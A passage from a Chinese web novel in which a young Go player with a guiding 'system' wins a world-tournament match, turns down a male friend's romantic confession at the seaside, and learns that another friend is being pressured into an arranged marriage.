【宿主,这么多年,你有打过几场比赛啊?直播出镜的更是少之又少,他们能研究出个毛啊!】 咦? 貌似好像对哦! 纪辰新顿时又活了过来。 他统共就没打过几场比赛,真正出镜的更少,估计他们搜都搜不到,又如何来研究他? 这倒是确实,纪辰新根本不知道他在其他选手眼里究竟是个多么神秘的存在。 一个职业初段,居然能走到八强,甚至连定段赛记录都找不到。 唯一找到的一个,还是之前参加全国业余赛的记录,但与他对战的那些选手实力实在太逊了,根本就没有研究的价值。 大家是一找一个不吱声,等他们终于又找到一个时,却发现还是2005年的录像带,当年十岁的纪辰新参加市赛和省赛的记录! 尼玛,这还玩什么? 就离谱! 久而久之,纪辰新这个人成了所有选手心中心照不宣,重点关注的对象,究其原因,只能说不寻常,太不寻常了! 纪辰新听了系统的话后,顿时又安稳了下来,他牢牢地将崔文和告诉他的经验谨记,万一有用呢? 九点整,比赛正式开始。 猜先在上,赵宇灿执黑先行。 赵宇灿梳着一个中分头,落子就如崔文和刚刚提到的那样,属于韩国标志性的招式,‘精准计算流。’ 他开局就摆出了‘小雪崩’定式,连拆二的间距都严格卡在三三与星位的黄金分割点。 纪辰新执白应对,第一手便打破常规,不在右下角纠缠,反而在左上角星位旁,轻吊一手。 他这招叫声东击西。 赵宇灿眉头微不可察的皱了下,他并不了解纪辰新,却更不敢轻敌。 他在抬头看了对面一眼后,便计划起了布局。 他就像位布局大师,在棋盘的各个位置落子,看似松散,却是在织就一张大网。 纪辰新并没有坐以待毙,在中腹强开,并提前算到了他的劫材,以粘劫收后,不留余地。 赵宇灿稳妥应对,决定以退为进。 他不硬挡,退到外围筑墙,甚至当纪辰新想扩张上边,他也故意让子,引得白子深入。 纪辰新看清了他的后招,便假装失误。 他错算在左下角‘倒扑’的次序,让本该先‘提子’再‘断’,却直接走了‘断’,给黑子一个‘反打’的机会。 赵宇灿果然上当,他成功吃掉了纪辰新三目。 下一秒,纪辰新顺势将中腹的白棋连成一片,打了他一个措手不及。 赵宇灿吓坏了,他落子的速度越来越慢,开始稳扎稳打,每一步都以大局优先。 纪辰新却使出连连杀招,甚至在右边走出‘连环劫’,逼得赵宇灿吐出刚吃掉的三目。 待赵宇灿再次使出以退为进时,纪辰新主动走出‘送死’的一步棋,结果这家伙果然经不住诱惑,心急之下,再一次上当。 纪辰新嘴角一勾,“怎么就不涨记性呢?” 他一口气吃掉了黑棋,甚至还留了后手。 赵宇灿显然懵了,他捏着棋子还想着右上角的最后一子‘粘’,他算的精准,却被纪辰新破了他的以退为进。 他的指尖悬在棋盒上方,目光却落在被纪辰新‘侵消’的黑棋阵地上,久久找不到出路。 直到裁判数子的声音,陡然响起,“白棋一百五十四子,胜六目半。” 赵宇灿盯着棋盘,沉默不语,他以为他能找到对手的计算盲区,他以为他能在对手的失误下获胜,结果一切都是他以为! 人家不仅早早将他看穿,甚至还将计就计,阴了他一把。 一局不成,没事,后面还有两局,只要他下一局表现好,也不是不能反败为胜。 赵宇灿如此安慰自己,额头却泌出豆大的汗珠来,这个他不了解的对手,好像比他想象的更为棘手,更难对付。 纪辰新朝他鞠了一躬后,便悠哉悠哉地去了休息区等候。 谁曾想,赵宇灿居然一直跟在他身后,还走哪跟哪。 纪辰新不明白他是何意,再加上俩人语言不通,便只能鸡同鸭讲。 最后还是一位志愿者主动上前翻译。 “那个,赵选手说想跟你交个朋友。” 纪辰新:“” 你猜我信吗? 你确定他说的是这个? 他怎么看着,不像这么回事啊? 这神情,他可太熟悉了。 当时,朴敏宰骂他好像就这个神情! 志愿者尴尬一笑,面对纪辰新明显质疑的目光,依旧没选择说实话。 毕竟,他总不能说,赵选手让我告诉你,不要太得意吧! 纪辰新也不是吃素的,他直接意会到了。 “麻烦你告诉这个傻逼,再唧唧歪歪地跟在老子身后,老子下一局保准送他回玉米地,满地找牙。” 志愿者嘴角一抖,开始翻译,他告诉赵宇灿,厕所不能吃饭,出来记得刷牙,餐厅在那边。 赵宇灿听完一脸震惊,痴痴呆呆地走了—— 作者有话说:纪辰新:看来翻译的很到位,对面人都吓傻了[鼓掌] 志愿者:还好我机智,成功化解一场事端[墨镜] 赵宇灿:???这些字组合在一起,怎么这么奇怪[害怕] 第87章 第二局开场, 纪辰新执黑先行。 空气因着之前的交锋显的格外紧绷。 只见少年指尖夹棋悬停半秒,随后没有丝毫试探,第一手不循常法、弃星位、脱小目, 径直落在白棋预定落点的斜对角。 凌厉之意瞬间打破俩人之间的平和,这是直接掀翻对手布局的宣战,亦是奔着速战速决而去的杀招。 赵宇灿瞳孔骤缩,甫一刚落下白子,对面第二手便如惊雷落下。 黑棋斜跨四路,如利刃直插白棋腹地, 硬生生将对方想稳扎稳打的边角根基劈成两半。 下一瞬, 黑棋又点入白棋预想中的拆边区域, 少年没有思考的停顿,没有局势的权衡,每一手都带着‘不给活路’的狠戾。 纪辰新落子极快, 棋子冲撞棋盘的声响清脆且重, 每一手都像是一把精准的刀劈向白棋的命脉。 他一边逼退挂角的白子, 一边抢占外势。 转而断吃突围的残子, 顺带围成厚壁, 就连不起眼的小飞,都暗藏杀机, 少年将白棋的薄弱环节死死锁在包围圈里。 赵宇灿早已冷汗涔涔, 他上一局还能从容应对, 这一局的节奏却被彻底打乱。 他抬手又放下,眉头逐渐拧成死结。 他咬牙想要弃子突围,但黑子如铁网般铺展,遏制着白棋的七寸之处,根本不给他半分喘息的机会。 只要他落子, 便会被少年接踵而来的狠招打断。 他想补齐固防,黑棋却由斜里杀出,断其归路,他想开拓新的战场,后背又会被黑棋死死黏住。 他想走的每一步都如履薄冰,反观棋盘上的黑棋像一群悍勇的铁骑,攻势连绵不绝,所到之处寸草不生。 这是一场单方面的的碾压,杀招叠着杀招,狠戾裹着狠戾,白棋阵型刚有雏形,便被撕碎。 赵宇灿额头青筋暴起,却无以为继。 对面的少年终于调整布局,给了他一线生机,但这一线生机却让他陷入更为绝望的万劫不复。 边角争夺刚起,中腹的杀招便紧随而至。 纪辰新暴虐的棋风让白棋的防线节节败退,也让赵宇灿的雄心壮志成了笑话。 时间才过去半个多小时,白棋居然连最基础的活期空间都被挤压到一点不剩。 对面少年眼神专注可怕,眼神里没有丝毫波澜,脸上更是没有多余的表情,只有落子的果决,以及对棋局的绝对掌控。 在他眼里,赵宇灿早已不是职业7段的顶尖棋手,而是待宰的猎物。 第111手,一枚黑子精准卡在白棋最后的断点上,赵宇灿无力的瘫坐在凳子上,手指颤抖到不成样子。 从开局到结束,他连一次有效的反击都没能组织起来,可笑之极,真是可笑之极! 他本以为在第一局时便已看透纪辰新的路数,却没想到他此时此刻面对的,才是真正的,从未在人前表露过的纪辰新。 黑白交错本是博弈的序幕,可在真正的纪辰新面前,从来没有‘有来有回’的周旋,只有出手即是终局的号角。 他不需要迂回,向来都是一击毙命。 所以,惹他干嘛? 惹他干嘛!!! 赵宇灿后悔不已,他知道,这将会成为世赛成立以来最为惨烈的一局,甚至往后余生他都将会被牢牢地钉在耻辱柱上,再无一日好活。 众目睽睽之下,赵宇灿终是控制不住的哭了,他的丑态不出意外地被镜头完整记录。 纪辰新对他没有丝毫怜悯之心,但围棋的礼仪还是要有的,只见他规矩敬礼,给了他最后一分体面。 骂人者,人恒骂之,如今这点教训都承受不住,早干嘛去了? * 纪辰新如愿进入了四强,目前来说,他还没有遇到过令他棘手的对手。 系统却不让他掉以轻心,【这里面有个职业八段的日本选手,你要小心。】 职业八段? 系统:【喏,就窗边那个,刚刚还先你一步出来。】 纪辰新顺着系统的指示看了过去,只见那位选手正坐在窗边看棋谱,身姿如劲松拔节,举手投足更是带着一种未经雕琢却自带章法的端正。 系统:【森川曜,目前20岁,年纪轻轻便已达八段,他9岁起就被日本围棋界誉为神童,几乎到了家喻户晓的地步。】 纪辰新打量着那位叫森川曜的选手,一头黑发梳的规整利落,发丝服帖地贴在鬓角,看上去一副很乖的模样。 他其实对这个人是有印象的,今日坐船过来时,这个人便与大家格格不入,一直安安静静的,也不爱说话,即便是同国选手找他交流,他也依旧是一言不发的样子。 这让纪辰新一度以为,这人是个自闭。 系统点评:【是有点孤僻,高手嘛往往都清高自傲。】 纪辰新不以为然,【啧,你还是少管人家吧。】 系统冷哼一声,【这人估计会是你夺冠的阻力,提醒你,好好研究一下他的棋吧。】 其实系统不提,纪辰新也正有此意的,正所谓知己知己才能百战不殆。 然而,在他收回视线之际,原本坐姿规整,安静看书的森川曜,却突然偏头朝他看了过来。 那双眸子充满了对纪辰新的好奇与兴趣,他目光探究地盯着少年的背影,不知在思索什么。 缓缓,他又看向了最新张贴出来的成绩公告栏。 一个职业初段居然再次晋级了? 甚至还能几次三番地打败职业七段的选手? * 崔文和是半个小时后出来的,他脸上挫败之意明显。 纪辰新给他递了水过去,“怎么样啊?” 崔文和猛灌了一口,“输了,本来有机会平局的,结果最后几手,我操之过急了。” 纪辰新:“” 他也不知道该怎么安慰人,便让他别太伤心。 “伤心?”崔文和将瓶口拧紧,“我不伤心啊,就是有一丁点不甘和懊恼罢了。” “不过,是对自己懊恼啦,我要是再稳一点就好了。” “没事,你不用安慰我,输给7段不丢人,他要是输给我,他才丢人呢。” 他倒是乐观,挽了挽长发便提出去海边走走。 纪辰新见他玩性这么大,心里也松了口气,看来输掉比赛确实没对他造成什么影响。 返航的时间定在了下午五点,其中主办方给这次晋级失败的选手,都发放了1500美金的安慰奖。 陡然得到一大笔钱的崔文和,说什么都要带着纪辰新去下馆子。 “听说F市的鱼特别鲜美,一定不能错过。” “而且他们临海,想来海鲜也多,什么皮皮虾、面包蟹、海胆、鲍鱼、海螺、小青龙” 纪辰新理智尚存,“这么多我们吃不完吧?” “不多,不多,来了自是要尝尝的,而且我正好有话要对你说,我们边吃边聊。”崔文和撩了下自己的长发,意味不明道。 虽然不知道他葫芦里卖的什么药,但纪辰新还是答应了。 于是,俩人返回酒店后的第一时间就去了海鲜市场挑选海鲜。 半个多小时后,俩人又一起去了当地有名的饭馆,处理海鲜。 崔文和挑选的餐厅位置很好,餐桌就挨着窗边,一眼朝外望过去,就是海。 暮色刚漫过海平面,七点有余的晚风裹着咸湿的潮意,落日余晖给骇浪镀上一层粼粼金边。 潮声此起彼伏,像低缓的絮语。 夜色渐浓,远处归航的渔火星星点点,与天边残存的霞光相映,海浪一卷一舒,泛着细碎的光。 纪辰新一边欣赏着美景,一边问对面的人,“你到底要和我说什么?” 长发少年支着下巴,目光闪躲,“先不急,填饱肚子再说。” 说实话,崔文和此刻的内心是极其忐忑的。 如今俩人还能和谐地坐一块儿吃饭,若是将一切捅破,局面又会变成如何呢? 他不敢赌,却又必须赌。 迟迟不表明心迹,很容易错失良机,有可能以后一点机会都没了! 他知道自己平日里比赛多,与纪辰新相处的时间又很少,再加上自己这次晋级失败,只怕以后俩人相处的时间还会要再缩短一节,到时候更不知道用什么理由来找他了。 任何事情,只要犹豫,拖着,就会败北。 不管有几层胜算,总还是要搏一搏的,就如下棋,纵使希望渺然,但不如兵行险着,或许还能以奇制胜,总之不到最后一刻,便不能放弃。 “上菜了,两位请慢用。” 随着一碟一碟的海鲜上来,纪辰新的眼睛都亮了。 不管是红烧的,还是清蒸的,亦或是椒盐的,看着就很有食欲,这让他饿了一下午的肚子,瞬间重振旗鼓。 “行吧,那就吃完再说。” 话落,他便迫不及待地地夹了个皮皮虾吃。 “小心,有刺。” 崔文和担忧道,“这虾背部边缘的小刺密集,一定要当心。” 说着,他便示范性地也夹了一只,“你要先将虾头完整拧下,然后捏住虾身尾部,另一手从头部断开的位置入手,顺着背部的硬壳轻轻向上掀开” 正当他做这些时,纪辰新已经成功将虾肉取出,在吃了。 “你这样太慢了,我有更便捷的方式。” “喏,我是不是比你快?” “你吃你自己的,不用管我。” 崔文和尴尬地看着他,“哈哈,是我啰嗦了,我还怕你” “怕我不会吃?”纪辰新不以为意地笑着道,“没吃过猪肉,还没见过猪跑吗?” “我有系噢不,头脑,刚夹起来时,脑子里就自动优化了一条最精简的拆解方式。” “噢对了,蟹和螺我也有更精简的拆解方法,等会儿我教你啊!” 崔文和:“” 这是他万万没想到的以纪辰新的家境不应该啊? 他本来还幻想着每份海鲜怎么吃都给纪辰新示范教学一遍,结果没曾想,人家什么都会! 真是竹篮打水一场空,白白丢失了拉近距离,博得好感的机会 也不知道等会儿的告白,还能不能顺利 第88章 夜幕把天空染成了深黛色, 余晖在海平面碎成一片橘粉的光斑,慢慢融进渐浓的夜色里。 茶余饭饱的俩人,出了餐厅, 在海边漫步。 微凉的沙滩上,有不少孩童嬉闹,纪辰新饶有兴致地弯腰握了把细沙。 细沙没有形状,微微松手便从指缝滑落,海浪是夜晚最温柔的背景音,一波接一波的卷上岸。 附近还有小贩在叫唤, “新鲜的椰子, 现开现喝。” “烤鱿鱼串, 飘香十里哟。” 没一会儿,崔文和就抱了两个椰子回来,“尝尝?” 大椰子上插着吸管, 纪辰新接过手, “谢谢。” 刚甫一入口, 痛苦面具便出来了, 寡淡的生青味, 混着隐约的苦涩,还带了股奇怪的水腥味, 完全没有想象中的清甜。 霎时间, 俩人对视一眼, 不约而同的皱了眉。 崔文和不好意思道,“抱歉啊,我也没喝过,还以为味道很好,给我吧, 我去扔。” “没事,既然买了,丢了也浪费。”纪辰新忍着这股生涩感,硬是多喝了几口。 最后还是崔文和强硬地将椰子丢了,他才作罢。 插曲过后,在崔文和的有意带动下,俩人逐渐远离喧闹,走向了更为安静的区域。 大概过了十分钟,此刻周围已经没有多少嘈杂的声音,只能听见‘哗哗’的海浪声,同时裹挟着咸湿的海风,时而轻柔与低语,时而带着几分力道拍打在礁石上。 其溅起的水花在月光下闪着细碎的银光,又悄然退去,留下湿漉漉的沙痕。 “纪辰新,你看那个灯塔,是不是很有意境。”崔文和突然指向纪辰新的斜后方向,语气惊疑。 闻言,纪辰新下意识半转身子望了过去,“唔,确实是不错。” “纪辰新,你别转过来,我有话想对你说。” 夜色漫过海岸线,海风卷着浪涛的气息扑面而来,拂动少年的长发,其乌黑的发丝仿若成了墨浪,被风推着,少年的额角已然汗湿,耳尖泛红。 “千万别转过来,不然我怕我没勇气。” 纪辰新站在沙滩边缘,白衬衫被晚饭灌得轻轻鼓起,他依言照做,“什么事啊,这么神秘。” 因着信任,纪辰新没有犹疑,安静等着。 崔文和裤脚蹭过微凉的沙粒,指尖攥的发紧,指节泛着淡淡的白,连垂在身侧的手腕都绷出了细微的青筋。 “还记得上次,我问你,你觉得我怎么样,这个问题吗?” “我希望你能重新审视一遍,重新回答一次,我问的不单单是我这个人,最主要的是你的感觉。” 晚风拂面,抬头能看见天边疏朗的星子,低头是漫上来又退下去的浪花。 纪辰新懵了一会儿,道,“感觉?从感觉上来讲,你人也挺好的呀!” 见他不开窍,崔文和语气着急,“除此之外呢?” “除此之外?”纪辰新几不可察的皱了眉头,“你到底想说什么,你人就是挺好的呀。” 崔文和哑然失语。 风再一次吹乱他的头发,只见他抬手去拂,指尖接触到发烫的耳廓,连脸颊都带着不正常的热度。 “如果我说我喜欢你呢?” 远处小贩的吆喝声,浪涛声交织成热闹的背景,可纪辰新什么都听不真切,他只听到崔文和说的那句,‘喜欢你’! 那一刻,仿佛全世界只剩下了他自己,连带着直挺挺的背脊都骤然僵硬,“你胡说什么呢,开什么玩笑?” 纪辰新的呼吸放的很轻,却又在某一刻猛地顿住,应该不是他以为的那种喜欢吧? 肯定不是! 他一定在开玩笑! 崔文和微微低着头,遮住了他眼底翻涌的慌乱,他的瞳孔都不敢对焦,“我没开玩笑,我喜欢你,从很早很早之前就喜欢了,作为心上人的那种喜欢。” 听到这,纪辰新只感觉晴天霹雳,整个人都像是要裂开了般,这是一种从未预料过的冲击,打破所有认知后的无措。 他喉结用力滚动了一下,但干涩的喉咙卡着,根本说不出话,连吞咽都带着滞涩。 他的肩膀下意识绷紧,脚趾抠地,牙都要咬碎了,好一会儿,才骤然回头看他,“你知道你自己在说什么吗,你耍我的对不对?” “你觉得呢?”崔文和陡然抬眼,与他对视,眸中带着真挚且独有的青涩与期盼,“纪辰新,我做梦都想和你在一起,做我男朋友好不好?” 猝不及防的一句话,像是惊雷,猛地炸在少年耳边,瞬间碾碎了海边所有的温柔。 “你别闹了,我们都是男的!” 纪辰新瞳孔紧缩,眼底的慌乱被震惊和崩溃取代。 “男的怎么了?纪辰新,你好好看看我,我不比女生差,你要是怕别人说闲话,我可以假装是你的女朋友。” 崔文和呼吸都在打颤,他郑重道,“请你仔细看看我,真的有那么难以接受吗?” “你敢说,你从未有过把我当成女生的错觉?” “哪怕一瞬间?” 纪辰新原本紧绷的身体再次僵住,整个人仿佛被钉在了原地,他苍白着一张脸,像是被人扼住喉咙般的窒息,“这这不一样。” “没什么不一样,只要我稍加打扮,保证没人看得出来的。”崔文和哄着他,全身泛起战栗,那是藏不住的紧张,“实在不行,我下,你上,我也能接受。” 什么上下? 纪辰新听不明白,但不影响他拒绝,他的目光终是飘向了远处模糊的海平面,“我没有那种想法,你别这样。” “因为我是男生你才不接受的对吗,如果我是说如果,如果我是女生你是不是就能接受了?” 崔文和垂在身侧的手死死攥成了拳头,指甲深深嵌进掌心,带来尖锐的痛感,可他浑然不觉。 “没有如果,你是男生是既定的事实,而且我对你没有那种想法。”纪辰新绝情道。 “说到底,你就是不接受同性恋对不对?”崔文和手臂上的青筋隐隐凸起,泄露着内心的翻江倒海。 纪辰新不再看他的眼神,死死盯着地面被浪花冲刷的痕迹,眉心拧成一个深深的结。 “你说话啊!”崔文和胸口剧烈起伏着,呼吸变的粗重而急促,风再次吹乱他的头发,乌黑的发丝遮住了他大半张脸。 他试图去抓,去碰纪辰新的手臂。 然而少年惊吓到陡然后退,他眼底带着深深的茫然与抗拒。 “你要我说什么?说我不接受同性恋?说我不喜欢你?非要我说的这么直白吗?” 这话宛如一支利箭,狠狠刺入崔文和的心口,脚下细沙被蹭的凌乱,他只觉得耳膜尖锐发疼。 “你一定觉得我有毛病,很恐惧吧?” “既如此,你当年为什么要帮我?” “那局指导棋,那张证书,那些年伴随我的夸奖都是你赋予我的。” “至今,我俩的对局还在教科书上,你可知道?” 长发少年目光希冀,却面带苦笑。 “不,你不知道,你根本就不知道,因为你早忘了!” 面对他的控诉,纪辰新简单拼凑出了事情的概况,很是抱歉道,“事情既已经过去那么久了,就应该往前看。” “如果真是我导致你变成如今这副模样,那确实是我对不住你。” “但,不管你对我缘起于何,感情这种事是无法勉强的。” “不不是”崔文和努力挤出几个破碎的字,声音干涩的像砂纸摩擦,带着自己都没察觉到的颤抖。 “我天生就是同,小时候懵懵懂懂,长大才看清,直到再次遇上你的那刻,我就知道我完了!” “你别自责,我没有怪你的意思。” “我只是怨你不喜欢我。” “我知道这种事没法勉强,但我希望你能给我一个机会,好不好?” “纪辰新,别急着拒绝我,男人不比女人差的,你试都没试过,怎么能否定呢。” 纪辰新身体微晃,像是站不稳般,他深深闭了闭眼,“我不想再讨论这个话题了,我的意思也已经表达的很明确了。” “让我们双方都冷静一段时间吧。” “不然我不知道以后该如何面对你。” “” “好”崔文和的心入坠冰窖,怎么也压不下胸腔里那股沉甸甸的窒息感,“我可以听你的,但你也要答应我,即便不喜欢我,也别讨厌我。” 回应他的是无尽的沉默。 海浪接着一波又一波地拍打着礁石,‘哗哗’的声响,明明是治愈的,却在他耳里放大成杂乱的鼓点,就如他此刻焦灼的内心,忐忑、不安、恐惧占据了上风。 他不后悔今日坦白的一切,也愿安静地等待来日的宣判。 他想,即便答案不是他想要的,他也还是会去争取! * 当晚,纪辰新失眠了。 他不明白事情怎么就突然发展到了这一步。 惆怅的心思,更是不知道可以向谁说,这毕竟涉及到了崔文和的隐私,他不可能去大肆宣扬,再者,他也不想自己陷入流言蜚语,风口浪尖之中。 【系统,你说这该怎么办啊!】 系统也是第一次遇到这种情况,推脱道:【我不是恋爱系统,别问我,我什么都不知道。】 【反正,只要你不影响任务完成,你做什么,我都支持你。】 纪辰新:【】 【你就不能给我支个招吗?】 系统:【我不会啊。】 纪辰新麻了,他明明已经拒绝了崔文和,但他看那家伙的意思,根本就不愿放弃,这可如何是好。 系统:【其实,他长的挺好看的,不仔细看确实像女生,你到底在介意什么?】 纪辰新无语,【我介意什么你不知道?他是男的!】 系统无所谓道:【男的怎么了,宿主你就是太直男,思想太狭隘了,抛去性别,你不也觉得他人不错吗?】 纪辰新如临大敌,崩溃道,【问题是抛不开啊!】 【靠,你到底哪一边的?】 【我说他人不错,是做人不错,但我对他可没有任何男女之情啊,噢不对,是男男之情。】 【欸也不对,什么男男之情断袖不是怎么那么奇怪呢?】 【总之我不接受,也不喜欢,你听明白了没有?】—— 作者有话说:大直男终于被撬开了脑袋,哈哈哈哈哈 第89章 返回帝都的路途, 纪辰新依旧坐的火车,令他感到欣慰的是,这次崔文和的座位没跟他挨在一起了。 俩人隔了差不多几排的距离, 这让纪辰新心宽了不少。 只是那家伙贼心不死,好几次明目张胆地过来,想要换座位。 纪辰新当然是不肯,明里暗里跟旁边的大妈说,“阿姨,我跟那人不熟, 他跟我一路了, 求你了千万别换。” 那五十多岁的大妈一听, 果然往心里去了,瞅崔文和的那眼神里满是警惕,就像看变态一样看着他。 接下来, 不管对面使出多少借口, 大妈都不带理的。 崔文和没招, 便想跟纪辰新说说话, 但纪辰新眼睛一闭, 就是不听。 没了办法,他只能回去自己的座位给纪辰新发消息。 【昨晚说好的, 即便不喜欢我, 也不能讨厌我, 你怎么能说话不算话呢?】 【纪辰新,我们还是不是朋友了?】 收到消息的纪辰新,嘴角一抽,便道:【昨晚明明说的是彼此冷静一段时间,你逼的这么紧, 你考虑过我的感受吗?】 【你若是将你的感情收回,那我们还是可以当朋友的。】 崔文和一看,气笑了,【收回?不可能!】 【我可以给你时间,但总得有个期限吧。】 他强硬,纪辰新也强硬,【啧,不论期限是多久,我的想法都不会改变的,你换一个人喜欢吧。】 崔文和赖皮道,【想法这种东西,此一时彼一时的,以后怎么样谁能说的准,反正我不会放弃的。】 纪辰新:【】 火车上的那二十多个小时,只能用四个字形容,‘身心俱疲’。 待抵达帝都的那一刻,纪辰新迫不及待地出了站。 崔文和就跟在他身后一米处,两步便追了上来,并拦在了他面前,“纪辰新,你等等,我我棋院有事,不能送你回学校了,等有空了,再来找你。” 听到他马上要回棋院,纪辰新瞬间就开朗了,“嗯。” “嗯?就这样?多一个字,你都不愿说吗,你真讨厌我了?”崔文和看着他陡然转晴的脸色,拧着眉,语气哀怨。 纪辰新不知道还能跟他说什么,“我没有讨厌你,但也跟你亲近不起来了,这是一种不纯粹的关系,从你选择跟我坦白开始,就已经注定了。” “我不信你不明白这个道理,我们已经回不去了。” 虽说是这个理,但崔文和依旧不承认,只见他撩了下头发,变回了以往自持的模样,“没事,我可以跟你慢慢耗,我喜欢你这一点,你再怎么膈应,也是事实。” “以后,我会一遍又一遍,重复地与你说。” “直到你不反感、习惯且能接受的那一天。” “我走了,照顾好自己。” * 回到学校,纪辰新直接累瘫在了床上,什么喜欢不喜欢的,全被他抛到了脑后。 不知睡了多久,还是赵言权打电话过来,他才悄然转醒。 接了电话后,他又再次起床出门,最终来到了学校门口的一家面馆同赵言权见面。 “到底什么事啊,电话里不能说,非要见面说。” 纪辰新睡了一觉,精神好了不少,此刻倒是笑的出来了。 赵言权给他点了碗炸酱面,“边吃边说。” “上次,你不是让我留意苏陌的动向吗?” “你猜我查到了什么?” 说到这,他还卖起了关子,一副等着纪辰新追问的架势。 纪辰新用筷子拌了拌面,不以为意地吃了口,“你就直说吧,鬼鬼祟祟的干嘛。” “啧,我大老远跑过来,你就这态度?”赵言权怼他。 纪辰新又吃了口面,“行了,我知道你辛苦,这顿我请,快说吧。” “哼,算你有良心,事情是这样的”赵言权压低声音道,“上次我不是说苏陌跟他爷爷奶奶吵了一架吗?” “原来在一个多月前,他爷爷奶奶不知从哪得知他买了套房,当晚就把他叫回去了,问这件事。” 纪辰新听到这,想来应该是他应邀去苏陌家看沙发的那个晚上,苏陌突然接到电话回家的事。 “所以呢,就因为这个吵架?” “欸,当然不是,哪有这么简单。”赵言权继续道,“原来啊苏瀚阳也就是苏陌爷爷,想要提前给苏陌订下婚事。” “结果,苏陌说什么都不愿意,然后呢他爷爷就发话了,若不接受,以后家里的资产都不准继承。” “你猜怎么着,苏陌说他愿意放弃继承权,房子他自己买的起,钱他也能自己挣,不用他们操心,这他爷爷差点气死。” “这还没完,他爷爷觉得他这么抵触,甚至提前买了房,就猜他心里是不是有喜欢的人了!” “就开始查他手机,反反复复的查” 纪辰新都听愣住了,“婚事?” 他还停留在这两个字,怎么突然就冒出个婚事来了? 【系统,怎么回事啊,怎么没听你说过。】 系统也纳闷了,于是开始翻原著,翻了好一会儿,才道,【是有过这么一句,说是苏瀚阳跟他弟子,也就是现任国棋院院长谢川庭,有意结为亲家,强强联合。】 【苏瀚阳怕自己百年之后,家里的资产都被他那不成器的儿子哄骗走,苏陌又还年少,他信得过的也就只有自己的关门弟子谢川庭,而谢川庭刚好有一个小女儿,今年跟苏陌同岁。】 【不过,这只是苏瀚阳与谢川庭两人的想法,那女生也不能算官配,毕竟原著连将想法付诸实际都没写到,就已经烂尾了,这不是无稽之谈吗!】 【难道这也是蝴蝶效应?原著苏陌是没有自己买房的,现在他却突然买了套房,肯定会被爷爷追问于是就产生了这些……】 纪辰新立马想通了其中的关窍,【啊,我知道了,正是因为苏陌有喜欢的人了,所以才会那么抵触,从而引发这一系列的事。】 是啊,苏陌已经有心上人了! 上次青星山上青星寺,矜贵少年长跪佛前,为的不就是 难怪他这么虔诚,原来阻力这么大啊! 纪辰新觉得自己悟了。 赵言权叹息道,“人前显贵,婚事却不能作主,豪门通病。” 纪辰新凝着他,“你叹什么气,赵叔这么开明,一定不会对你的婚事指手画脚的。” “不不不,还是有要求的,他们打下偌大的家业,肯定不是什么人都看得上的。”赵言权苦笑,“除非,我能像苏陌这么厉害,什么都不靠他们,那我才有底气,自己选。” “你看苏瀚阳现在这么僵着,也是因为他拿苏陌没有办法,而唯一的一丁点办法,都只能攥着苏陌还未成年这一点,在法律上稍微约束一下,等他成年了,他们就更没辙。” 这倒是 纪辰新一时感慨万千,这感情的事尚且无法勉强,何况是婚姻。 就像他,无法接受崔文和,仅仅只是因为不喜欢,而苏陌却是要在有心上人的情况下,还被迫去接受与另一个陌生人在一起,心里只会更难受。 “我们要不要去找他?” 思及此,纪辰新感同身受道,“咱们作为朋友,开解关怀他一下也是好的。” “欸,可不能鲁莽,现在苏陌身边每天都有人看顾着,就连上下学也都有人跟着,晚上甚至必须回原来的房子,也就是他爷爷奶奶家睡。” “这有什么,我们是他朋友,又不是坏人,怕什么。”纪辰新不解。 赵言权吞吞吐吐道,“我倒是没问题,他爷爷奶奶对我知根知底的,你的话,就不好说了,他们不认识你,或许会找你问话。” “问话?问什么话?问我苏陌喜欢谁?”纪辰新觉得好笑,“问我也没用啊,我又不知道。” “不止噢,家里情况,总之你所有的社会关系,肯定会第一时间调查的一清二楚,或许已经调查完了,毕竟他们查了苏陌的手机,上面与他有联系的,应该都会查。” “再加上,他上次因你逃赛,他们对你不待见,都是有可能的。” 赵言权说的这些在理,直接给纪辰新说沉默了,除了逃赛,他可还有个杀人犯赌鬼爹在监狱呢。 这还真是 “那怎么办,我总不能因为他们不喜欢我,我就不跟苏陌当朋友了吧。” 赵言权挠了挠头,“那确实不能” 俩人对视一眼,统统在对方眼里看到了棘手二字。 吃完面,纪辰新主动去付了账。 赵言权说完这个消息,就准备回去了,“我爸最近管我管的严,我得回去练棋了,你放心,我再有消息,第一时间告诉你。” 纪辰新点头,“好,路上注意安全。” 回去路上,路过金融学院时,纪辰新鬼使神差走了进去。 他记得,苏陌很久之前是给他发过课表的,他找出来,仔细对照了一番后,发现距离苏陌最后一堂课下课,还剩最后五分钟。 这还是他第一次来这个学院,从前都是苏陌来计算机学院找他。 也不知道,苏陌看到他,会不会觉得很惊喜。 或许,惊吓也不一定呢! 第90章 金融学院, 纪辰新并不熟悉,他找到对应的楼层后,看了眼时间, 就没去寻找教室了。 目前距离下课还剩两分钟,他选了个楼梯口的椅子坐着守株待兔。 由于赵言权说苏陌的手机会被家里人查,所以纪辰新也没给他提前发消息。 他不知道自己是出于何种心理,或许是为了不给苏陌添麻烦吧,毕竟他的出生不好,到时候免得让苏陌为难。 六点的帝都, 天色已沉得发暗, 教学楼在昏暗中显露出硬朗的轮廓, 走廊的灯次第亮起,在玻璃上投出暖黄的方格。 这时,尖锐又清亮的下课铃声突然撞破寂静, 刺破了傍晚的沉闷, 也让整栋静默的教学楼瞬间漾起了喧闹的涟漪。 楼上楼下很快传来脚步声与说笑声, 紧接着是乌泱泱的人群从各个教室里出来。 纪辰新本来是坐着的, 怕被人群淹没, 便提前走到了走廊窗边等待。 冬日的天气带着凛冽的干冷,少年穿着深色带棉冲锋衣, 下身是条普通的运动裤, 他一点也不显局促, 背脊挺的笔直,站在嘈杂的走廊上自带吸引力。 他的眉眼在人群里扫荡,利落的下颌线带着少年人的青涩棱角。 周围有不少女生,匆忙中见了他一眼便再也移不开视线。 她们窃窃私语,“卧槽, 看那边,窗边,好帅啊!” “啊啊啊啊,我知道他,学校贴吧里疯传他的照片来着。” “对对对,叫纪辰新是不是,跟苏陌并列校草人选第一!” “嗯呐嗯呐,天啊,他不是计算机学院的吗,怎么来我们金融学院了?” “不会是来找女朋友的吧。” “啊,不可能,他没有女朋友,我有他室友的企鹅号,说他单身来着。” “哇,你怎么加到他室友的?” “唉,就逛贴吧,听到一个人吹牛逼” “扯远了,你们谁有胆子,去加一下他?” “啊,我不敢,太帅了,我连对视的勇气都没有!” “我也” “我也” 纪辰新不知道自己已然成为了人群里的焦点,他还在迷茫地寻找苏陌的身影。 随着人潮一群一群离开,却始终没见到人,他几乎都想要放弃了,怀疑这家伙莫不是逃课了。 直到—— 